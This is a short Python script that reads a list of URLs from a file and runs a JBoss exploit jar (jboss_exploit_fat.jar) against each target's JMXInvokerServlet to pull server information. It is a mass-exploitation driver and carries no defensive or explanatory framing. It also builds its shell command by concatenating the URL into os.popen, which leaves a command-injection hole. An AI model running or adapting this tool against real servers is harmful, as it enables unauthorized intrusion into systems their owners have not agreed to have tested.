﻿import os
def check(url):
    cmd = 'java -jar jboss_exploit_fat.jar -i '+url+'invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName'
    p = os.popen(cmd)
    print p.read(),url
if __name__ == '__main__':


    fp=open("url.txt", "r")
    alllines=fp.readlines()
    fp.close()
    for eachline in alllines:
            eachline=eachline.strip('\n')
            eachline=eachline.strip(' ')
            check(eachline)